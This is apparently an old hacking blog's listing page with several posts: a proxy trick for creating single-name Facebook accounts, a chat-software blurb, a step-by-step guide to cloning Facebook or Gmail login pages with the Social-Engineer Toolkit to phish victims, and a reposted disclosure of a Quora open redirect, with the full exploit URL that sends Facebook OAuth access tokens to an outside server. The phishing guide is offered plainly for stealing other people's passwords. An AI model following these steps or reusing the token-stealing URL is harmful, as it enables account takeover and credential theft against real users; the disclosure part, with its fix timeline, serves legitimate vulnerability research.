Showing posts with label Hack Facebook Account. Show all posts
Showing posts with label Hack Facebook Account. Show all posts

Thursday, May 1, 2014

How to Make a Single Name Facebook Account - May 2014 Latest Trick

How to Create a Single Name Facebook Account - May 2014 Latest Trick

This Tutorial is all about to make a one name account on Facebook. Many of us wonder why can't Facebook allow to make a single name Facebook account. Its because of Regional Customs Facebook doesn't allow to make a one name Facebook account 

After researching through many websites we had came to know way by which you can make a single name Facebook account.

Prerequisites:-
  • Stable network connection 
  • Mozilla Firefox Latest Version

Steps to make a Single name facebook account without any software:-

1.Download and Install Mozilla Firefox
2.Go to Options - Advanced Settings- Connection Settings
3.Enter any Indonesian IP and Port you can get from following Websites
4.Choose any IP and Port which Have High response and High transfer


6.Enter Proxy and Port in Mozilla
7.Login into Facebook
8.Go to Account Settings . Change Your Language to Bahasa Indonesia and save
9.Then Delete Your last name and Enter Your Password.
Save the Settings
Enjoy!


Video Tutorial:-


Tuesday, April 8, 2014

Trillian Pro 5.4.0 Build 15 Final - Chat Software

Trillian

Trillian Pro 5.4.0 Build 15 Final

Trillian™ is a fully featured, stand-alone, skinnable chat client that supports AIM, ICQ, MSN, Yahoo Messenger, and IRC. It provides capabilities not possible with original network clients, while supporting standard features such as audio chat, file transfers, group chats, chat rooms, buddy icons, multiple simultaneous connections to the same network, server-side contact importing, typing notification, direct connection (AIM), proxy support, encrypted messaging (AIM/ICQ), SMS support, and privacy settings. Trillian provides unique functionality such as contact message history, a powerful skinning language, tabbed messaging, global status changes (set all networks away at once), Instant Lookup (automatic Wikipedia integration), contact alerts, an advanced automation system to trigger events based on anything happening in the client, docking, hundreds of emoticons, emotisounds, shell extensions for file transfers, and systray notifications.
Privacy Settings
File Transfers
Direct Connections
Group Conferences
Display Pictures
Real-time Video Chat
Real-time Audio Chat
Integrated Web Searching
Instant Lookup
And much more...

Monday, January 20, 2014

Hack Facebook/Gmail Using Advanced Phishing Method in Backtrack 5

Welcome Back to Pirated Hacker ! Someone Just Asked How Can we Do Phishing And Can Hack Facebook Password . So here is the Most Advanced Phishing Method one Can Do Using Backtrack.

So we get started to know how to hack Gmail and Facebook using Backtrack. Below is a list of minimum things you will need...

1. Backtrack 5 R2(minimum)
2. Internet connection 


So Let's Start....



1. First open the social engineering kit using this command in cd /pentest/exploits/set and then press enter and then type ./set and hit enter like in image.


2. Now type 1 to select Social-Engineering Attacks and hit enter as in image. 

3. Now type 2 to select Website Attack Vectors and hit enter as in image.


4. Now type 4 to select Tabnabbing Attack Method and hit enter. 


5. Now type 2 to select Site Cloner and hit enter. 


6. Now enter the site address whom which you want to create fake pages. 


7. Now it will start cloning the site.Now send ur ip address as a link to victim.


8. Now when victim click on it he/she get the fake page and when he fill the details he will got hacked. 
It is as same as phishing but advanced and safe.. If you close terminal your server will also closed. This not works in some internet services. use VPN if you want open ports.

We Dont Own This Tutorial ! Image Credit to its Respective Owners 

Tuesday, December 17, 2013

Hacking A Facebook Account With Quora - PWNQUEST


Well, We have already discussed many ways that a can use to hack a facebook account, however in this post we will discuss about an unpatched flaw inside the facebook oauth design.
An Independent security researcher and a very good friend of mine "Prakhar Prasad" exploited a flaw inside the oauth of Facebook, but the problem is that there is not much Facebook can do in this scenario, Almost all the oauth flaws that have occurred on facebook have some thing to do with   tampering the redirect_uri parameter, with this flaw Facebook cannot do much since they do not have much control on the part which we will discuss. Successful exploitation of this attack may lead to a full account compromise, however this solely depends upon the permission that the user assigns to the application, in most cases you won't be able to do much other then updating the user's status.
Exclusively for RHA readers Prakhar was kind enough to make a step by step demonstration of how the attack was carried. Over to Prakhar.

I wanted to share the details of an open redirection vulnerability, which I found a popular Q/A website quora, possessing Alexa rank of around 800 worldwide and how someone can exploit the issue to hack Facebook accounts.

So, let's come to the topic. While signing up for Quora website, I preferred using Facebook Connect which gives "limited" access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed www.quora.com was permitted to receive the access_token from Facebook OAuth, any other domain other than www.quora.com would result in a failure of that request. See below





Cool, I needed to find an open redirection inside the www.quora.com to steal the access_token of any Quora user who signed-up using Facebook and has App enabled.

Luckily I found a redirection issue in the contacts import page itself. The redirector was like:

https://www.quora.com/contacts/skip?goto=http://www.google.com


So this link would redirect to http://www.google.com, accordingly I can redirect users to any domain of my choice.

Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at http://poc.prakharprasad.com/quora 


To make it a working exploit I needed the following missing pieces:

1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in next parameter of OAuth authorization URL with a valid access_token.

2. As discussed we know next can be any page/resource under www.quora.com. So next parameter must be set tohttps://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token tohttp://poc.prakharprasad.com/quora where my script will do its job.

Final OAuth authorization URL that would steal the access_token looks like

https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token

Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened.

Using the stolen access_token I can, for example publish a status on victim's profile.




Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!
Timeline:

8th June 2013 - Vulnerability Found
9th June 2013 - Vulnerability Reported
13th June 2013 - No Reply from Quora
13th June 2013 - Another notification sent to Quora staff member, got a reply acknowledging the issue
14th June 2013- Fix deployed on Quora, public disclosure